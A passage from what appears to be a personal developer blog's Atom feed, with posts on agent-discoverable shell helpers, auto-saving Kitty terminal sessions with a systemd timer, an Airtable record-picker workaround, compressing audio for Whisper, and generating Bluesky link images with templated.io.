&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;`git`&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; complex pipelines  | &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;`git-*`&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; helpers              |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;`convert`&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;`imagemagick`&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; | &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;`img-*`&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; helpers              |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;`ffmpeg`&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; pipelines       | &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;`audio-*`&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;`video-*`&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; helpers |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;Discover helpers with &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;`helper-list &amp;#x3C;domain&gt; [action]`&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;Read the flags and usage of a helper with &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;`helper-documentation &amp;#x3C;name&gt;`&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The result&lt;/h2&gt;
&lt;p&gt;Now, I can just focus on adding more helpers and more helpers, following my
naming convention and documenting them properly. I&#39;m assured my agent will be
able to use them without me having to update anything in my &lt;code&gt;CLAUDE.md&lt;/code&gt;. Those
helpers are useful to both me and the agent.&lt;/p&gt;
&lt;p&gt;A helper that finds my other helpers feels a bit meta, but it works really well.&lt;/p&gt;
&lt;p&gt;One more benefit is that I can now configure Claude to allow specific commands
(like &lt;code&gt;git-worktree-create&lt;/code&gt;) without needing to give it a blanket permission to
the whole &lt;code&gt;git&lt;/code&gt; command.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Saving my kitty workspace every two minutes</title>
    <link href="https://blog.pixelastic.com/2026/10/13/saving-kitty-workspace-every-two-minutes/"/>
    <updated>2026-10-13T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2026/10/13/saving-kitty-workspace-every-two-minutes</id>
    <content type="html">&lt;p&gt;Yesterday, my Ubuntu laptop ran an update of packages, and once it was done, it
let me know I needed to reboot my laptop for the change to be completed. But I
didn&#39;t want to reboot my laptop right now. I had 12+ open tabs in Kitty, each
split into subwindows because I was working on various topics.&lt;/p&gt;
&lt;p&gt;So I postponed the reboot. And postponed; for days. Finally I gave up, wrote
down the list of tabs, rebooted, and manually restarted all my kitty tabs.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/saving-kitty-workspace-every-two-minutes/kitty-tabs-and-splits.png&quot; alt=&quot;A kitty window with ten named tabs. The current tab is split in two columns, and the right column is split again.&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Doing it by hand&lt;/h2&gt;
&lt;p&gt;It was tedious, and I didn&#39;t really like doing it. And I certainly didn&#39;t want
to have to do it twice. I wanted a keybinding to do it for me. Something that
would save the whole layout, and bring it back.&lt;/p&gt;
&lt;p&gt;Since Kitty 0.43, the &lt;code&gt;save_as_session&lt;/code&gt; action dumps tabs, tab names, splits,
layout geometry, and working directories to a file. And &lt;code&gt;kitty --session &amp;lt;file&amp;gt;&lt;/code&gt;
starts from that file.&lt;/p&gt;
&lt;p&gt;I updated my Kitty to the right version and created a &lt;code&gt;kitty-save&lt;/code&gt; script that
dumps the session to a file, and bound it to &lt;code&gt;Alt-F5&lt;/code&gt;. I also made it flash the
screen green when I save (so I have some visual feedback something actually
happened).&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# kitty.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;allow_remote_control socket-only&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;listen_on unix:/tmp/kitty-socket&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;map alt+f5 launch --type=background kitty-save&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env zsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# kitty-save&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;sessionFile&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$HOME&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/.local/state/kitty/session.kitty-session&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Talk to kitty through its socket&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;kitty-remote&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; kitty&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; @&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --to&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; unix:/tmp/kitty-socket&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$@&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Flash all windows green&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;kitty-remote&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; set-colors&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --all&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; background=&#39;#1a3a1a&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Dump the session to a file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;kitty-remote&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; action&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; save_as_session&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --save-only&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$sessionFile&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Back to the normal colors&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;kitty-remote&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; set-colors&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --all&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --reset&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I also created a &lt;code&gt;kitty-restore&lt;/code&gt; script that checks for the existence of the
session file, and appends &lt;code&gt;--session&lt;/code&gt; with it if the file exists. I call that
script now instead of opening Kitty directly.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env zsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# kitty-restore&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;sessionFile&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$HOME&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/.local/state/kitty/session.kitty-session&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;sessionArgs&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[[&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$sessionFile&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ]]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;sessionArgs&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;--session&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$sessionFile&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;kitty&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${sessionArgs&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I was happy. On the next reboot, I could just &lt;code&gt;Alt+F5&lt;/code&gt; to save everything,
reboot, and come back where I left off.&lt;/p&gt;
&lt;h2&gt;The crash&lt;/h2&gt;
&lt;p&gt;But the next time my computer rebooted, it was because it crashed. Totally
unrelated, but the computer froze and I had to manually reboot it, without being
able to press &lt;code&gt;Alt-F5&lt;/code&gt; first.&lt;/p&gt;
&lt;p&gt;When I restarted Kitty, it came back with the layout from my last manual save,
which was days old. My tabs were not the ones I had been working on.&lt;/p&gt;
&lt;p&gt;So, manual saving was a good start, but wasn&#39;t enough. I needed something more
automated.&lt;/p&gt;
&lt;h2&gt;Every two minutes&lt;/h2&gt;
&lt;p&gt;I thought about running &lt;code&gt;kitty-save&lt;/code&gt; automatically every two minutes. But in my
mind it meant writing cron files, with their weird syntax made of &lt;code&gt;*&lt;/code&gt; and &lt;code&gt;/&lt;/code&gt;
and that seemed too complex to me at that time.&lt;/p&gt;
&lt;p&gt;Then I remembered we live in an age of agents and I wouldn&#39;t be the one writing
those commands anyway, so why not ask the agent? Actually the agent told me that
cron was outdated and systemd was apparently the new way of doing it.&lt;/p&gt;
&lt;p&gt;A systemd user timer is made of two small files: a service to say what to run,
and a timer to say when.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# kitty-save.service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;[Service]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Type&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=oneshot&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;ExecStart&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=/path/to/kitty-save&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# kitty-save.timer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;[Timer]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;OnStartupSec&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=2min&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;OnUnitActiveSec&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=2min&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;[Install]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;WantedBy&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=timers.target&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;OnStartupSec&lt;/code&gt; tells it to start its first tick 2mn after login.
&lt;code&gt;OnUnitActiveSec&lt;/code&gt; tells it to run again after that every 2mn.&lt;/p&gt;
&lt;p&gt;I had to slightly update &lt;code&gt;kitty-save&lt;/code&gt; to work both when called manually and
through the timer. I made the window green flash optional behind a &lt;code&gt;--flash&lt;/code&gt;
flag, and added some guards to return early if kitty wasn&#39;t even running.&lt;/p&gt;
&lt;h2&gt;Peace of mind&lt;/h2&gt;
&lt;p&gt;I now have this automated save running in the background every 2mn. It takes
about 90ms to run, but as it runs asynchronously in the background, I don&#39;t even
perceive it. And now a crash would cost me 2mn of Kitty layout at most.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Keeping the context of an Airtable Record Picker from page to page</title>
    <link href="https://blog.pixelastic.com/2025/03/04/airtable-record-picker-context/"/>
    <updated>2025-03-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2025/03/04/airtable-record-picker-context</id>
    <content type="html">&lt;p&gt;&lt;img src=&quot;/img/files/2025-03-04-airtable-record-picker-context/header.png&quot; alt=&quot;Isometric illustration of a map pin standing on layered cards&quot;&gt;&lt;/p&gt;
&lt;p&gt;I&#39;m using Airtable Interfaces a lot, to pilot my automations. For a project at
work I built a whole pipeline to help us organize meetups in our office. It
starts with the URL of a meetup.com event, and ends with the printing of the
signs to put in the building, and goes through all the phases of calculating the
number of pizzas needed, booking rooms in the corporate calendar, printing
badges for attendees and pre-generating internal Slack messages, etc.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-03-04-airtable-record-picker-context/01-a23907ad11.png&quot; alt=&quot;Airtable interface page for the React Paris Meetup 5 with attendee numbers and food estimates&quot;&gt;&lt;/p&gt;
&lt;p&gt;But the process is made of multiple steps, that having all the info on one page
was getting overwhelming and very practical, so I started splitting it into
several pages. One page would handle the attendee list, another would take care
of the calendar, another of the Slack messages, etc.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-03-04-airtable-record-picker-context/02-2897e70403.png&quot; alt=&quot;Airtable interface sidebar of the Meetup Hosting app, with the Attendees and Food page selected&quot;&gt;&lt;/p&gt;
&lt;p&gt;The issue I ran into though, was that whenever I would switch pages, I would
lose the context of which meetup I&#39;m currently editing. For example I would
start on the &amp;quot;Metadata&amp;quot; page for the upcoming &lt;strong&gt;React Meetup&lt;/strong&gt;; I would then
click on the &amp;quot;Calendar Events&amp;quot; page and would somehow now be editing the
upcoming &lt;strong&gt;Algolia Search Party.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is because, from Airtable Interfaces point of view, each page is an
independent context, and there is no default way to keep the currently selected
Event from one page to the next.&lt;/p&gt;
&lt;h2&gt;My hackish workaround&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-03-04-airtable-record-picker-context/03-6b43f05c8b.png&quot; alt=&quot;Airtable table of meetups with a pin trigger URL column and an is pinned checkbox&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-03-04-airtable-record-picker-context/04-69868b2304.png&quot; alt=&quot;Meetup picker dropdown next to a blue Pin button&quot;&gt;&lt;/p&gt;
&lt;p&gt;The (very hackish and imperfect) way I found around this is to add a
&lt;code&gt;isPinnedInUI&lt;/code&gt; checkbox field to my table. Only one element of the table should
be marked as pinned at any given time. I also configured the record picker to
select the fields where &lt;code&gt;isPinnedInUi&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt; in priority.&lt;/p&gt;
&lt;p&gt;I also added a custom Make scenario (trigger when clicking on the &lt;strong&gt;Pin&lt;/strong&gt; blue
button next to the record picker) that would uncheck the previously checked
element, and check the currently selected one.&lt;/p&gt;
&lt;p&gt;That way, when I&#39;m working on an event I can &lt;em&gt;pin it&lt;/em&gt; in place, and keep its
context even when navigating from page to page.&lt;/p&gt;
&lt;p&gt;Of course, this is just a bandaid, and fails as soon as more than one person is
working on the dashboard at the same time. If I start pinning a meetup and my
coworker Lucas is working on another one and pin the other, we&#39;ll just step on
each other&#39;s toes. But so far, it has been an improvement over completely losing
the context.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Compression strategy for heavy Whisper files</title>
    <link href="https://blog.pixelastic.com/2025/02/21/compression-strategy-whisper/"/>
    <updated>2025-02-21T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2025/02/21/compression-strategy-whisper</id>
    <content type="html">&lt;p&gt;&lt;img src=&quot;/img/files/2025-02-21-compression-strategy-whisper/header.png&quot; alt=&quot;Abstract green sound waveform made of ink splatters&quot;&gt;&lt;/p&gt;
&lt;p&gt;I&#39;m often taking audio notes with my phone recorder app. I then have a
&lt;a href=&quot;http://make.com&quot;&gt;make.com&lt;/a&gt; workflow in place where I push the audio file
through Whisper to get a transcript of it, and start other workflows based on
the content of the transcript.&lt;/p&gt;
&lt;p&gt;Sometimes it&#39;s just a simple note to remind me to do something, which gets added
to my TODO list. Sometimes it&#39;s an idea about a blogpost I&#39;d like to write,
which gets added to my list of blogposts drafts. Sometimes it&#39;s the recap of the
latest TTRPG game we played, which gets added to our campaign document.&lt;/p&gt;
&lt;p&gt;Most of those recordings are only a few minutes long, but the last kind (the
TTRPG session recap) can get lengthy, and I&#39;ve already ended up with files of up
to 50MB. Whisper has a limit of 25MB, so I had to come up with a way to decrease
the filesize before sending it to Whisper.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-02-21-compression-strategy-whisper/01-0b854e244d.png&quot; alt=&quot;Make scenario that downloads an mp3, then either converts it with CloudConvert or transcribes it with OpenAI Whisper&quot;&gt;&lt;/p&gt;
&lt;p&gt;I now have two paths in my make.com scenario. The bottom one is the happy path,
when the filesize is below 25MB. The top one is only triggered when the file is
too heavy.&lt;/p&gt;
&lt;p&gt;In that case, I push the file through &lt;a href=&quot;https://cloudconvert.com/&quot;&gt;CloudConvert&lt;/a&gt;,
to get a lighter version, and then I go to the second branch with that
compressed file instead of the default one.&lt;/p&gt;
&lt;h2&gt;Compression settings&lt;/h2&gt;
&lt;p&gt;Whisper doesn&#39;t need very high audio quality to create a transcript, so I can
compress pretty aggressively and still get a good transcript. What I found to be
impactful is to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Format:&lt;/strong&gt; Convert from &lt;code&gt;mp3&lt;/code&gt; to &lt;code&gt;m4a&lt;/code&gt; with the &lt;code&gt;AAC&lt;/code&gt; codec. Slightly lower
filesize for equal quality.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Channels:&lt;/strong&gt; I set the channels to 1, actually making it a mono rather than
stereo file.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audio bitrate:&lt;/strong&gt; I halved it down from &lt;code&gt;128 kbps&lt;/code&gt; to &lt;code&gt;64 kbps&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sample rate:&lt;/strong&gt; I also halved it from &lt;code&gt;44.1 kHz&lt;/code&gt; to &lt;code&gt;22.05 kHz&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In &lt;a href=&quot;https://cloudconvert.com/&quot;&gt;CloudConvert&lt;/a&gt; parlance, this means setting
conversion and engine specific options as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;audio_codec&lt;/code&gt; set to &lt;code&gt;aac&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;channels&lt;/code&gt; set to &lt;code&gt;1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;audio_bitrate&lt;/code&gt; set to &lt;code&gt;64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sample_bitrate&lt;/code&gt; set to &lt;code&gt;22050&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&#39;m not doing this conversion on every file, only on those that are too heavy.
CloudConvert free plan allows for up to 10 conversions per day, which is enough
for my needs. The conversion takes a few minutes to run, and again, that&#39;s fine
for my current needs.&lt;/p&gt;
&lt;p&gt;The final quality of the audio is clearly inferior to the original, but this
doesn&#39;t seem to bother Whisper at all, which can still create a good transcript
out of it.&lt;/p&gt;
&lt;p&gt;Hope that help other people get over the 25MB limit of Whisper.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Generating Bluesky embeds with templated.io</title>
    <link href="https://blog.pixelastic.com/2025/01/23/templated-io-embeds/"/>
    <updated>2025-01-23T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2025/01/23/templated-io-embeds</id>
    <content type="html">&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-23-templated-io-embeds/header.png&quot; alt=&quot;Illustration of a wizard casting a spell on a glowing blueprint&quot;&gt;&lt;/p&gt;
&lt;p&gt;In my recent no-code plunge, I discovered &lt;a href=&quot;http://templated.io&quot;&gt;templated.io&lt;/a&gt;.
It&#39;s an online service to generate images based on templates you create
yourself. The first use-case I had for it turned out to be a bit too complex for
what it offers, but I&#39;ve now used it for something where it shines much more.&lt;/p&gt;
&lt;p&gt;You might have stumbled upon this post through the embedded link on Bluesky, and
the image for the link has been generated by templated.io.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-23-templated-io-embeds/01-17f73c0791.png&quot; alt=&quot;Social card titled Generating Bluesky Embed with templated.io, with the author photo and an 8 minute reading time&quot;&gt;&lt;/p&gt;
&lt;p&gt;templated.io basically gives you a simple template editor, where you drag and
drop shapes, text elements and images. You assign a unique name to each of those
element, and then you only have to call the API with an object of key/values to
update the content of those shapes.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-23-templated-io-embeds/02-d8579a7dfd.png&quot; alt=&quot;templated.io home page, showing a JSON payload that fills the title and cover image of a generated card&quot;&gt;&lt;/p&gt;
&lt;p&gt;I used one of the default templates, adapted to my need by changing the default
colors and putting my name and face. For the title, image and date, I used
placeholder values (taken from a previous blogpost, to see what it would look
like), and named the layers with expressive names.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-23-templated-io-embeds/03-910c7e3db2.png&quot; alt=&quot;templated.io editor with the layers panel next to a card titled Differences between static and dynamic imports in ESM&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now, all I had to do was call the API with an object with what I wanted to
update:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;            &quot;format&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;png&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;            &quot;layers&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;                {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;                    &quot;text&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Generating Bluesky Embed with templated.io&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
